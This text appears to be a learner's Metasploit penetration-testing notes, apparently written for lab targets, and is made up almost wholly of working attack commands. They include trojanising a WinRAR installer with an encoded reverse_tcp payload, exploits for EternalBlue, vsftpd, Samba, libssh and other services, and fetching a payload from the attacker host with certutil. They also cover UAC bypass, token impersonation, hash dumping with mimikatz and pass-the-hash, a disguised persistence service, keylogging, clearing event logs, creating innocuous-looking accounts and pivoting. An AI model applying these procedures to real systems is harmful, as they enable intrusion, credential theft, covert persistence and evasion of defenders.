set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.10.5
set LPORT 1234
show info
run

Run the encoded.exe on the target windows system
We don't see anything happen on the windows system but it will connect a meterpreter session in the background


Injecting payloads into windows portable executables

So lets get a legit portable exe and inject our payload. You can try/choose whatever you like. One that is known to work well is winrar exe.

Download the 32bit setup file

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=1234 -i 10 -e x86/shikata_ga_nai -f exe -x /downloads/winrar602.exe > desktop/winrar-injected.exe

-i iterations (number of times to encode)
-e encoding to use
-x the exe to inject into
> where to output the injected file
-k keep the functionality of the original file so winrar will keep working and create our remote shell. However this won't work for most portable exes out there. AV's are better at detecting this.

Setup your handler 

Get the "winrar-injected.exe" the target machine:

After we get the remote shell migrate.
This is incase winrar-injected is ended later on.
run post/windows/manage/migrate (migrates into notepad.exe)

Automating metasploit with resource scripts

Resource scripts can automate reparative commands like setting up a handler for payloads etc.
Resource scripts work very similar to .bat files
Just put in the commands we want to run like check the DB connection etc

Built in scripts can be found here
ls -al /usr/share/metasploit-framework/scripts/resource

vim handler.rc
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.10.5
set LPORT 1234
show info
run
:wq!

msfconsole -r handler.rc 

vim db_status.rc
db_status
workspace
workspace -a TEST
:wq!


When already in msfconsole we can call a script
resource /Desktop/handler.rc

We can make an RC from some commands we just run
makerc /home/kali/Desktop/test.rc

Exploiting HTTP file server

HFS (http file server) usually running on port 80 and give a simple list of files that can be downloaded. Our goal as attacker is to get a file uploaded and executed giving us a remote shell.

Rejetto HFS is a popular open source HFS.

service postgresql start
msfconsole
db_status
workspace -a HFS
setg RHOSTS t.t.t.t
db_nmap -sS -sV -O t.t.t.t

Lets say we see Rejetto v2.3 is running on port 890

search type:exploit name:rejetto

use exploit/windows/http/rejetto_hfs_exec

*** Don't forget your can set your payload if needed ***
run



MS17-101 Eternal Blue

Affects SMBv1

msfconsole
workspace -a EB
db_nmap -sS -sV -O t.t.t.t

search type:auxiliary EternalBlue

use auxiliary/scanner/sb/smb_ms17_010
show info
set RHOSTS 10.10.10.7
run

Will tell us if the target is vulnerable

search type:exploit EternalBlue
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS t.t.t.t
run

sysinfo
getuid (we get NT AUTHORITY\SYSTEM)

Exploiting WinRM
Runs on ports 5985 and 5986
WinRM is windows remote management protocol. Intended to be used by legitimate administrators to admin their systems. Can remotely access, run commands etc.

msfconsole
workspace -a WRM
db_nmap -sS -sV -p- -O t.t.t.t

we need to scan all ports with -p-

search type:auxiliary winrm

use auxiliary/scanner/winrm_auth_methods

This will tell us if winrm is enabled and what auth methods are available 

show info
setg RHOSTS t.t.t.t
run

search winrm_login
use 0

set USERFILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
set PASSFILE /usr/share/metasploit-framework/data/wordlists/common_passwords.txt
run

User the found username and password
use auxiliary/scanner/winrm/winrm_cmd
set USERNAME admin
set PASSWORD secret
set CMD whoami
run

search winrm_script
use 0
show info
set USERNAME admin
set PASSWORD secret
set FORCE_VBS true
run

Exploiting apache tomcat server
Free open source web app server (java)
Run on port 8080 by default
Apache is web server created in PHP
Apache tomcat used to use dynamic websites of web apps developed in java

service postgresql start
msfconsole
workspace -a APACHE
db_name -sS -sV -O t.t.t.t

We see apache timcat runing on port 8080

search type:exploit tomcat_jsp

user exploit/multi/http/tomcat_jsp_upload_bypass
info
set PAYLOAD java/jsp_shell_bind_tcp
set LPORT 4444
set SHELL cmd
run

we get a cmd shell
whoami

ctrl+z to but in background

We can work with the shell, but it would be nicer to have a meterpreter session

Lets make a payload with msfvenom

msfvenom -p windows/meterpreter/reverse_tcp LHOST=k.k.k.k LPORT 1234 -f exe > meterpreter.exe

We need to transfer that to the target

sudo python -m SimpleHTTPServer 80

On target CMD shell, download the payload
sessions 1
certutil -urlcache -f http://k.k.k.k/meterpreter.exe

Use resource script to set up handler
vm handler.rc
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST k.k.k.k
set LPORT 1234
:wq!

msfconsole -r handler.rc

With handler running now we can run the payload
on the target CMD shell
meterpreter.exe

We should get a meterpreter session 
sysinfo


Exploiting FTP server
In this exercise we will target a vulnerable FTP server running on linux
FTP used for transferring files on TCP port 21
service postgresql start
msfconsole
workspace -a VSFTP-234
setg RHOSTS t.t.t.t
db_nmap -sS -sV -O t.t.t.t
services
analyze
vulnerabilities 
search vsftp
use exploit/unix/ftp/vsftp_234_backdoor
info

run

/bin/bash -i (to get bash shell)
ctrl + z (backgroud)
use post/multi/manage/shell_to_meterpreter
set LHOST eth1
set SESSION 1
run
sessions
sessions 2
now we have meterpreter

Exploiting samba (smb)

SMB is server message block used for sharing files on the LAN.
TCP 445
Originally in ran on top of netBIOS using port 139.
samba is smb for windows

service postgresql start
msfconsole
workspace -a SMB
setg RHOSTS t.t.t.t
db_nmap -sS -sV -O t.t.t.t

search type:exploit name:sambe
use exploit/linux/samba/is_known_pipename
info
check (to see if it would work)
run (gives linux shell)

upgrade bash shell to meterpreter
ctrl+z (bash shell to background)
search shell_to_meterpreter
show options
set LHOST eth1
set SESSION 1
run

Switch to the meterpreter session 
sessions
sessions 2
sysinfo
getuid

Exploiting vulnerable SSH server

After finding a server listening on port 22 
Enumerating it to find the version etc
We may have tried brute forcing to get a username 

Now we can look at exploiting SSH

Start postgresql service
service postgresql start  

Start metasploit
msfconsole

Create a workspace
workspace -a LIB-SSH

Set the global variable for RHOSTS as our target IP
setg RHOSTS t.t.t.t

Run an nmap scan from inside metasploit
db_nmap -sS -sV -O t.t.t.t

Now that scan is complete we see LIBSSH  running 

Search for an exploit and run it
search libssh_auth_bypass
use auxiliary/scanner/ssh/libssh_auth_bypass
set SPAWN_PTY true (spawn a TTY session)
run

Check for sessions, we see we have the command shell
sessions
sessions 1 
whoami
cat /etc/*release
uname -r

Upgrade to meterpreter 
ctrl +z
use post/multi/manage/shell_to_meterpreter
info
set LHOST eth1
set SESSION 1
run

Check for sessions, the meterpreter will be the second session 
sessions
sessions 2

Run meterpreter commands
sysinfo
getuid


Exploiting vulnerable SMTP server

TCP Ports:
25
465
587

In this example we will look at Haraka which is an open source high performance SMTP server developed in Node.js. Versions older than 2.9.8 have a vulnerability

service postgresql start
msfconsole
workspace -a SMTP
setg RHOSTS t.t.t.t
db_nmap -sS -sV -O t.t.t.t

We see the Haraka mail server running

search type:exploit name:haraka
use exploit/linux/smtp/haraka
info
set RHOSTS t.t.t.t
set RPORT 25
set SRVPORT 9898
set email_to root@domain.com (needs to be correct)
set payload linux/x64/meterpreter_reverse_http
set LHOST eht1
run

If it works we get a meterpreter session

sysinfo
getuid
uid 0 is root access


Meterpreter fundamentals
Post exploitation is after we have gained initial access 
Local enumeration from inside the network (different to external enumeration from outside)
Privilege escalation (usually we start with user access and want to get admin/root)
Maintaining persistent access 
Dumping hashes (so we can run them against a cracking tool to get passwords or use the hashes themselves in a pass the hash attack)
Clearing your tracks (deleting logs)
Pivoting (moving around the network from client machine to servers, from LAN to DMZ etc)


Meterpreter (meta interpreter) is an advanced multi functional payload that operates via DLL injection and is executed in memory so hard to detect.

It communicates over a stager socket and provides an attacker with an interactive command interpreter on the target system that facilitates the execution of system commands.

It also allows the attacker to load customer scripts and plugins which give further functionality

It has various payload types (windows/linux) that work for different OS architecture (x86, x64) 

Start metasploit and get initial access 
service postgressql start
msfconsole
workspace -a MT
setg RHOSTS t.t.t.t
db_nmap -sV t.t.t.t
We see apache running
curl http://t.t.t.t 
We see XODA running 
Search xoda
use exploit/unix/webapp/xoda_file_upload
info
set TARGETURI /
run

Now we have a meterpreter session
meterpreter>

sysinfo - give computer/OS command
getuid - shows our user and permissions
help - shows list of commands in categories, there are more commands for windows sessions

A session 
background - send the session to the background
exit - kill the session
ctrl + z - keyboard shortcut to background
sessions (to list all sessions)
sessions -l  (list all sessions)
sessions 2  (connect to session 2)
sessions 1 (connect to session 1)
sessions -h (show the help for sessions command)

Run a command on a session without connecting to it
sessions -C sysinfo -i 2
This will run "sysinfo" on session 2

We can also do it on multiple sessions 
sessions -C sysinfo -i 2,3,4,5-7

kills the session 2
sessions -k 2 

Kill all sessions
sessions -K 

You can rename sessions 
session -n xoda -i 2
This will rename session 2 as "xoda"

Interact with it via name
sessions xoda

Meterpreter commands
ls
mkdir test
rmdir test
pwd
cd ..
cat flag.txt
edit flag.txt
cd "Secret Files"
cat .flag2
Dowload a file
download flag5.zip 
background

unzip flag5.zip
The zip file has instructions to get the MD5 hash of /bin/bash

Switch back to our meterpreter session
sessions 1
checksum md5 /bin/bash

getenv PATH
getenv TERM

Search for files
search -d /usr/bin -f *backdoor*
search -f *.txt*
download flag1.txt

Open command shell, on windows it will be cmd, on linux it will be bash
shell 
/bin/bash -i
ps -aux
close the bash and go back to meterpreter
ctrl + c

List processes 
ps 
migrate 580
it won't always work depending on your rights
migrate -N apache2

execute -f ifconfig

Meterpreter basics
pwd (print working directory on the target machine)
lpwd (print working directory on the local kali machine)

ls (list directory on target machine)
lls (list directory on local kali machine)

cd 
lcd

cat /app/flag1
edit /app/flag1
cat /app/flag1
cd "Secret Files"
ls
cat .flag2
cd /app
download flag5.zip
ls
unzip flag5.zip
cat list
rm flag5.zip
checksum md5 /bin/bash
search -d /usr/bin -f *ckdo*

Upload file
upload /usr/share/webshells/php/php-backdoor.php

Upgrading cmd shells to meterpreter shells

Some of our initial access will give us a cmd shell, we generally want to upgrade it to meterpreter so we have all the features of meterpreter available

linux cmd shell
pwd shows /tmp
/bin/bash -i

Background the session (ctrl+z)

sessions
Notice the type shows as "shell cmd/unix"
Also notice in the connection session we can see the port this session is connected on x.x.x.x:1234

Search shell_to_meterpreter 
use post/multi/manage/shell_to_meterpreter
info
set SESSION 1
set LHOST eth1
We may need to set the port if it overlaps with our current cmd shell. We can see this in sessions
run

List the sessions again
sessions
We see the meterpreter session shows as type "meterpreter x86/linux"

Automating the process
session -u 1
This will upgrade sessions 1 to meterpreter automatically

Windows post exploitation modules

We can enumerate lots of information once we get a meterpreter shell
  • user privs
  • Logged on users
  • VM check
  • install programs
  • AVs
  • other computers on the same domain
  • installed patches / os ver
  • shares 

Start DB and metasploit in one command 
service postgresql start && msfconsole

Create workspace
workspace -a windows_post

Set global variable for target
setg RHOSTS t.t.t.t

db nmap scan
db_nmap -sV t.t.t.t

We see rejetto http file server running 

search for exploits
search rejetto

use exploit/windows/http/rejetto_hfs_exec
info
(target IP already set in global variable)
run

We get the meterpreter session
meterpreter>
sysinfo

getsystem (elevate)

gertuid (get user privs)

hashdump (dump hashes if we have access to SAM database)

show_mount (see drives attached)

ps (list out process tree)

migrate 2212 (migrate to the process id 2212)

sysinfo

We can do more on a windows meterpreter session

cd C:\\
dir
cat flag.txt
download flag.txt

ctrl + z (backgroup)

sessions

Look for migrate module
search migrate

use post/windows/manage/migrate
set session 1
run

search win_privs
use post/windows/gather/win_privs
set SESSION 1
run

See who's logged on, if admin is watching or maybe we can steal admin's hash
post/windows/gather/enum_logged_on
set SESSION 1 
run

Check if this host is a VM
post/windows/gather/checkvm
set SESSION 1 
run

If its a VM we can try VM break out, but it could also indicate a honeypot

Check apps, we might find an old application that allows a privilege escalation.
post/windows/gather/enum_applications

show all the gathered information 
loot 

search type:post platform:windows enum_av
use post/windows/gather/enum_av_excluded
info
set SESSION 1
run

If we found any excluded folders or extensions we could leverage that

Find other computers
use post/windows/gather/enum_computers
set SESSION 1
run


Find the patches
use post/windows/gather/enum_patches

We can look for a certain KB if needed 
We may need to migrate into an svchost.exe

systeminfo windows command will also show us the list of patches if it doesn't work

Find shares
use post/windows/gather/enum_shares
set SESSION 1
run

we might find the print$ and others which we can investigate 

Enable RDP
use post/windows/manage/enable_rdp


Bypass UAC / windows privilege escalation
UAC is supposed to stop unauthorised admin changes
If you are a standard user you need to provide the admin password

How can we bypass UAC ?
There is a protection by pass where we spawn a new meterpreter shell with no UAC checking. We need a x64 meterpreter

Start with initial access 

We try to elevate but it fails
getsystem 

getprivs shows we just have a standard user

Get into windows shell and look up users and groups
shell 
net users
net local group administrators

We see that our user is a standard user but is a member of administrator group

We need x64 session and we need to select the x64 payload and target x64
search bypassuac
user exploit/windows/local/bypassuac_injection
info
set SESSION 1
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LPORT 4433
set TARGET Windows\ x64
run

Initially the shell will show as not elevated this is baecause it can now run admin commands without UAC getting in the way, run a get system to get full admin rights.
sysinfo
getuid
getsystem

NTLM hash (in bold) example 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f168d9f8e6c5b893b8c4dfa202228235:::

Windows privilege escalation: Token impersonation with incognito
Windows access token is generated after you authenticate 
Login > access token is created
The token has your user and your privs
The token is attached to the userinit process which is used to start child processes
Each child process inherits the access token rights
Created by LSASS (local security authority subsystem service)

The tokens get given differnt levels
impersonate - non interactive login (service account)
delegate - interactive login

To impersonate we need to elevate our privilege and tokens available on the system

SeAssignPrimaryToken - allows a user to impersonate tokens
SeCreateToken - Create tokens
SeImpersonatePrivilege - allows users to create a process under the security context of another user, eg run cmd as administrator 

Incognito is a built in meterpreter module (not to be confused to the chrome mode)

Get initial access
service postgresql start && msfconsole
workspace -a IMP
db_nmap -sV t.t.t.t
setg RHOSTS t.t.t.t
search rejetto
use 0
info
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run
meterpreter>

sysinfo
getuid

NT AUTHORITY\LOCAL SERVICE - a local service account's access 
NT AUTHORITY\SYSTEM - highest level of access

getprivs
This will show the Se privileges so we can know if we can impersonate tokens etc
SeImprersonatePrivilege 

Dump the hashes (will fail if we don't have admin rights)
hashdump

Load the module
load incognito 
list_tokens -u

impersonate_token "DOMAIN\Administrator"

getuid

hashdump still fails because the shell still has the old privs, we need to migrate to a process with the "DOMAIN\Administrator" privs

ps
we see 3544 is running as "DOMAIN\Administrator"
migrate 3544

Now hashdump will work

cd C:\Users\Administrator

This method works across lots of versions of windows

The first step is getting the SeImpersonatePrivilege

Dumping hashes with mimikatz

Mimikatz is a post exploitation tool. It allows extraction of plaintext credentials from memory, password hashes from local SAM databases and more

SAM (security account manager) is a database file on windows systems that stores user passwords. Can be used to auth local and remote users.

We can use a mimikatz exe on the target but this might be detected by AV so we can use Kiwi which is another meterpreter module that runs mimikatz in memory. Always best to do things in memory to avoid detection.

start with a x64 meterpreter session

pgrfep lsass
migrate 792

Load the module
load kiwi

Dump all creds
creds all 

We should get NTLM hash and SHA1 hash
We can only get the hashes of users on the PC

Dump the SAM database 
lsa_dump_sam

Dump the LSA secrets (these can be used in pass the hash)
lsa_dump_secrets


We don't always need to crack a hash to a clear text password, the hash can be used in a pass the hash attack.

We can also upload the mimikatz exe
upload /usr/share/windows-resources/mimikatz/x64/mimi
We can then execute it but again could be detected
shell
mimikatz
privilege:debug
we want to see "20" ok to show we have the correct privs

lsadump::sam

Pass the hash with psexec

Use the NTLM hashes with the meterpreter psexec module
We can get access with the NTLM and don't need to crack passwords.

Start with initial access and migrate to x64 meterpreter 

hashdump
copy and save the hashes in the file
exit

search psexec
use exploit/meterpreter/reverse_tcp
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set SMBUser Administrator
paste the hash or cleartext password in. For the hash don't paste the trailing colons ::: or the one at the start
set SMBPass aad3b435b51404eeaad3b435b51404ee:f168d9f8e6c5b893b8c4dfa202228235
run

meterpreter>
sysinfo
getuid


Establishing persistence on windows systems
When we get initial access via an exploit or phishing link clicked etc all of this is running in memory. If the system is rebooted we lose access. Also a service exploited to get in may be patched so we want to maintain persistent access.

Start with initial access 
workspace -a PERSIST
setg RHOSTS t.t.t.t
db_nmap t.t.t.t
search rejetto
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST eth1
run

sysinfo
getuid

We need admin rights to setup persistence, so we need to elevate priv first then install persistence

search platform:windows persistence 
We will see lots of different methods

persistence_service will create a service that start the meterpreter session calling back to our CnC domain.

use exploit/windows/local/persistence_service
info
It only supports 32bit payload but we can upgrade to x64 later
set PAYLOAD windows/meterpreter/reverse_tcp
set SERVICE_NAME TotallyLegitService 
set SESSION 1
run

getuid

Kill all sessions
sessions -K

Now we don't have any access

use multi/handler
set the same 32bit payload
set PAYLOAD windwos/meterpreter/reverse_tcp
set LHOST eth1
run

We start up the handler and the remote PC's malicious persistence service will connect back to us so we get a meterpreter session again. This will work across reboots.

exit and run again
the compromised machine reconnects
We can exit Metasploit, start it again, start the handler and the compromised machine will reconnect

Enabling RDP

RDP is windows remote access tool with a GUI
Runs on port 3389

We can use a module to enable it, then connect to the PC via RDP which may not look as suspicious once setup.

Start with initial access
meterpreter>
ctrl + z (background it)

search enable_rdp
use post/windows/manage/enable_rdp
info
set SESSION 1
We can also setup a username and password here to use with RDP but no need if we already have other creds
run

It will enable it and open the windows firewall port

We need a username and password to login

Change admin password (this would ring alarm bells but just for this example)
meterpreter>
shell
net user administrator secret
Watch out for password policy it might have to have a certain length/complexity

xfreerdp /u:administrator /p:secret /v:t.t.t.t
accept the cert
will open an RDP window

Create an account that looks legitimate, follow the same naming convention in the org. You can also try something like BACKUPS-USER  that users may assume is important.
Watch out for password policy it might have to have a certain length/complexity

Windows keylogging with meterpreter

Start with initial access 
meterpreter>

Make sure we have admin access
sysinfo
getuid

Migrate to the explorer process as keylogging works best here
psgrep explorer
migrate 2234

Start the keylogging
keyscan_start

On target machine type username and password

keyscan_dump
It will show the shift keys pressed

you may need to stop/start it when the user opens a new application

Clearing tracks / deleting windows event logs

Once an attacker has done their work they will want to cover their tracks. This is useful for defenders to know as you want to log to a server and also you can monitor when logs are deleted this can create an alert.

Change a user password
We will see the event is logged in the windows security log (eventvwr)

The clearev command clears all the logs
meterpreter> clearev

it stops the service, deletes the logs and starts it again

If you transferred anything you need to delete it.

Pivoting, adding routes and port forwarding.

Use a compromised host to scan/attack/exploit other hosts inside the LAN. Or for example if we get access to a LAN machines see if we can get into the DMZ or vice versa.

Attacker > Victim1 > Victim 2

We can reach Victim1 (eg public IP on the internet or compromised LAN host)
We can't currently reach Victim2

Get initial access on Victim1
meterpreter>
sysinfo
getuid

Look at network
ipconfig

Add route
run autoroute -s 10.2.27.0/24

Now we can route through Victim1 to reach that network

ctrk+z

sessions -n Vic1 -i 1

search portscan
use auxiliary/scanner/portscan/tcp
set RHOSTS vic2.domain.com
run

We now see a list of ports open on Vic2.
We can enum/exploit further.

portfwd add -l 4333 -p 80 -r [vic2]

ctrl + z

db_nmap -sS -sV -p 8080 localhost 

This will scan the forwarded port on vic1 (8080) > vic2 (80)

Now we see badblue running on vic2

We can use exploits too

use /exploit/windows/http/badblue_passthru
set PAYLOAD windows/meterpreter/reverse_tcp
set RHOST VIC2
set RPORT 80
set LPORT 4433
run

sysinfo
sessions -v Vic2 id 2

sessions